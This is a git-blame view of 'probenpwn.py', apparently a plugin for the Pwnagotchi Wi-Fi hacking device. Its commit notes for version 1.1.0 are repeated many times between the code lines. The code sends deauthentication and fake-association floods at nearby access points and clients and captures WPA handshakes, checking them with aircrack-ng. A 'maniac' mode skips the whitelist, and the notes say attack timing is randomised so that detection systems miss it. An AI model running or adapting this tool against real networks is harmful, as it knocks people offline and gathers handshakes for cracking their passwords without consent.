|
|
return list(self.channel_activity.keys())[0]
|
|
|
|
|
2025-02-02 17:15:19 -08:00
|
|
|
def track_recent(self, ap, cl=None):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Track APs and clients."""
|
2025-02-02 17:15:19 -08:00
|
|
|
ap['_track_time'] = time.time()
|
|
|
|
self.recents[ap['mac'].lower()] = ap
|
|
|
|
if cl:
|
|
|
|
cl['_track_time'] = ap['_track_time']
|
|
|
|
self.recents[cl['mac'].lower()] = cl
|
|
|
|
|
2025-02-23 02:02:21 +01:00
|
|
|
def ok_to_attack(self, agent, ap):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Check if safe to attack."""
|
|
|
|
if self.mode == "maniac":
|
|
|
|
return True
|
|
|
|
return ap.get('hostname', '').lower() not in self.whitelist and ap['mac'].lower() not in self.whitelist
|
2025-02-02 17:15:19 -08:00
|
|
|
|
2025-05-05 23:12:09 -07:00
|
|
|
def attack_target(self, agent, ap, cl, retry_count=0):
|
|
|
|
"""Launch adaptive attack with multiple vectors."""
|
2025-03-16 20:16:21 -07:00
|
|
|
ap_mac = ap['mac'].lower()
|
2025-05-05 23:12:09 -07:00
|
|
|
if self.mode == "tactical":
|
|
|
|
if ap_mac in self.cooldowns and time.time() < self.cooldowns[ap_mac]:
|
|
|
|
return
|
|
|
|
if cl and self.client_scores.get(cl['mac'].lower(), 0) < 50:
|
|
|
|
return
|
2025-03-16 20:16:21 -07:00
|
|
|
|
2025-02-23 02:02:21 +01:00
|
|
|
if not self.ok_to_attack(agent, ap):
|
2025-02-02 17:15:19 -08:00
|
|
|
return
|
2025-03-16 20:16:21 -07:00
|
|
|
|
|
|
|
agent.set_channel(ap['channel'])
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
self.attack_attempts[ap_mac] = self.attack_attempts.get(ap_mac, 0) + 1
|
2025-05-05 23:12:09 -07:00
|
|
|
logging.info(f"Attacking AP {ap_mac} (client: {cl['mac'] if cl else 'N/A'})")
|
2025-03-16 20:16:21 -07:00
|
|
|
|
2025-05-05 23:12:09 -07:00
|
|
|
if agent._config['personality']['deauth']:
|
|
|
|
if ap_mac in self.ap_client_groups:
|
|
|
|
for cl_mac in self.ap_client_groups[ap_mac][:5]:
|
|
|
|
client_data = self.recents.get(cl_mac)
|
|
|
|
if client_data:
|
|
|
|
self.executor.submit(agent.deauth, ap, client_data, self.dynamic_attack_delay(ap, client_data))
|
|
|
|
elif cl:
|
|
|
|
self.executor.submit(agent.deauth, ap, cl, self.dynamic_attack_delay(ap, cl))
|
2025-02-18 01:57:39 -08:00
|
|
|
|
2025-05-05 23:12:09 -07:00
|
|
|
# Additional attack vector: Fake authentication flood
|
|
|
|
if random.random() < 0.3: # 30% chance
|
|
|
|
self.executor.submit(agent.associate, ap, 0.05)
|
2025-02-02 17:15:19 -08:00
|
|
|
|
|
|
|
def dynamic_attack_delay(self, ap, cl):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Calculate adaptive delay."""
|
|
|
|
if self.mode == "maniac":
|
|
|
|
return 0.05
|
|
|
|
signal = cl.get('signal', -100)
|
|
|
|
base_delay = 0.1 if signal >= -60 else 0.2
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
ap_mac = ap['mac'].lower()
|
|
|
|
attempts = self.attack_attempts.get(ap_mac, 0)
|
2025-03-16 20:16:21 -07:00
|
|
|
if attempts > 5:
|
2025-05-05 23:12:09 -07:00
|
|
|
base_delay *= 0.4
|
2025-03-16 20:16:21 -07:00
|
|
|
num_clients = self.ap_clients.get(ap_mac, 0)
|
2025-05-05 23:12:09 -07:00
|
|
|
if num_clients > 3:
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
base_delay *= 0.8
|
2025-05-05 23:12:09 -07:00
|
|
|
return base_delay * random.uniform(0.9, 1.1)
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
|
2025-05-05 23:12:09 -07:00
|
|
|
def get_dynamic_max_workers(self):
|
|
|
|
"""Adjust concurrency based on system resources."""
|
|
|
|
cpu_usage = psutil.cpu_percent()
|
|
|
|
mem_usage = psutil.virtual_memory().percent
|
|
|
|
base_workers = 50
|
|
|
|
if cpu_usage > 80 or mem_usage > 80:
|
|
|
|
return max(10, int(base_workers * 0.5))
|
|
|
|
elif cpu_usage > 50 or mem_usage > 50:
|
|
|
|
return int(base_workers * 0.75)
|
|
|
|
return base_workers
|
2025-03-16 20:16:21 -07:00
|
|
|
|
2025-05-05 23:12:09 -07:00
|
|
|
### Event Handlers
|
2025-03-16 20:16:21 -07:00
|
|
|
|
2025-02-02 17:15:19 -08:00
|
|
|
def on_bcap_wifi_ap_new(self, agent, event):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Handle new AP with adaptive attack."""
|
|
|
|
ap = event['data']
|
|
|
|
ap_mac = ap['mac'].lower()
|
|
|
|
channel = ap['channel']
|
|
|
|
self.channel_activity.setdefault(channel, {"aps": 0, "clients": 0})
|
|
|
|
self.channel_activity[channel]["aps"] += 1
|
|
|
|
self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0)
|
|
|
|
if self.ok_to_attack(agent, ap):
|
|
|
|
self.executor.submit(self.attack_target, agent, ap, None)
|
2025-02-02 17:15:19 -08:00
|
|
|
|
|
|
|
def on_bcap_wifi_client_new(self, agent, event):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Handle new client with enhanced scoring."""
|
|
|
|
ap = event['data']['AP']
|
|
|
|
cl = event['data']['Client']
|
|
|
|
ap_mac = ap['mac'].lower()
|
|
|
|
cl_mac = cl['mac'].lower()
|
|
|
|
channel = ap['channel']
|
|
|
|
self.channel_activity.setdefault(channel, {"aps": 0, "clients": 0})
|
|
|
|
self.channel_activity[channel]["clients"] += 1
|
|
|
|
self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) + 1
|
|
|
|
signal = cl.get('signal', -100)
|
|
|
|
activity = cl.get('activity', 1) + (self.ap_clients[ap_mac] / 10) # Enhanced scoring
|
|
|
|
self.client_scores[cl_mac] = (signal + 100) * activity
|
|
|
|
self.ap_client_groups.setdefault(ap_mac, []).append(cl_mac)
|
|
|
|
if self.ok_to_attack(agent, ap):
|
|
|
|
self.executor.submit(self.attack_target, agent, ap, cl)
|
|
|
|
|
|
|
|
def is_handshake_valid(self, filename):
|
|
|
|
"""Validate handshake with quality check."""
|
2025-02-02 17:15:19 -08:00
|
|
|
try:
|
2025-05-05 23:12:09 -07:00
|
|
|
result = subprocess.run(['aircrack-ng', filename], capture_output=True, text=True)
|
|
|
|
is_valid = "valid handshake" in result.stdout.lower()
|
|
|
|
frame_count = result.stdout.count("EAPOL") if is_valid else 0
|
|
|
|
return is_valid and frame_count >= 2 # Quality check
|
|
|
|
except Exception:
|
|
|
|
return False
|
2025-02-02 17:15:19 -08:00
|
|
|
|
|
|
|
def on_handshake(self, agent, filename, ap, cl):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Handle handshake with deduplication and intelligent retry."""
|
|
|
|
handshake_hash = hash(f"{ap['mac']}{cl.get('mac', '')}{filename}")
|
|
|
|
if handshake_hash in self.handshake_db:
|
|
|
|
logging.info(f"Duplicate handshake for {ap['mac']}. Skipping.")
|
|
|
|
return
|
|
|
|
if not self.is_handshake_valid(filename):
|
|
|
|
logging.info(f"Invalid handshake for {ap['mac']}. Scheduling retry...")
|
|
|
|
self.failed_handshakes += 1
|
|
|
|
delay = min(60, 1 * (2 ** min(self.attack_attempts.get(ap['mac'].lower(), 0), 5))) # Exponential backoff
|
|
|
|
self.retry_queue.put((time.time() + delay, (agent, ap, cl, self.attack_attempts.get(ap['mac'].lower(), 0) + 1)))
|
|
|
|
return
|
|
|
|
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
ap_mac = ap['mac'].lower()
|
2025-05-05 23:12:09 -07:00
|
|
|
self.handshake_db.add(handshake_hash)
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
self.success_counts[ap_mac] = self.success_counts.get(ap_mac, 0) + 1
|
2025-02-18 01:57:39 -08:00
|
|
|
self.total_handshakes += 1
|
2025-05-05 23:12:09 -07:00
|
|
|
if self.mode == "tactical":
|
|
|
|
self.cooldowns[ap_mac] = time.time() + 60
|
2025-02-02 17:15:19 -08:00
|
|
|
|
|
|
|
def on_epoch(self, agent, epoch, epoch_data):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Clean up and process retries."""
|
|
|
|
current_time = time.time()
|
|
|
|
while not self.retry_queue.empty() and self.retry_queue.queue[0][0] <= current_time:
|
|
|
|
_, (agent, ap, cl, retry_count) = self.retry_queue.get()
|
|
|
|
self.executor.submit(self.attack_target, agent, ap, cl, retry_count)
|
2025-02-02 17:15:19 -08:00
|
|
|
for mac in list(self.recents):
|
2025-05-05 23:12:09 -07:00
|
|
|
if self.recents[mac]['_track_time'] < (current_time - (self.epoch_duration * 2)):
|
2025-02-02 17:15:19 -08:00
|
|
|
del self.recents[mac]
|
2025-05-05 23:12:09 -07:00
|
|
|
for ap_mac in list(self.ap_client_groups):
|
|
|
|
if ap_mac not in self.recents:
|
|
|
|
del self.ap_client_groups[ap_mac]
|
2025-02-02 17:15:19 -08:00
|
|
|
|
|
|
|
def on_bcap_wifi_ap_updated(self, agent, event):
|
2025-03-16 20:16:21 -07:00
|
|
|
"""Track updated APs."""
|
2025-05-05 23:12:09 -07:00
|
|
|
ap = event['data']
|
|
|
|
if self.ok_to_attack(agent, ap):
|
|
|
|
self.track_recent(ap)
|
2025-02-02 17:15:19 -08:00
|
|
|
|
|
|
|
def on_bcap_wifi_client_updated(self, agent, event):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Track updated clients with scoring update."""
|
|
|
|
ap = event['data']['AP']
|
|
|
|
cl = event['data']['Client']
|
|
|
|
ap_mac = ap['mac'].lower()
|
|
|
|
cl_mac = cl['mac'].lower()
|
|
|
|
self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) + 1
|
|
|
|
signal = cl.get('signal', -100)
|
|
|
|
activity = cl.get('activity', 1) + (self.ap_clients[ap_mac] / 10)
|
|
|
|
self.client_scores[cl_mac] = (signal + 100) * activity
|
|
|
|
if self.ok_to_attack(agent, ap):
|
|
|
|
self.track_recent(ap, cl)
|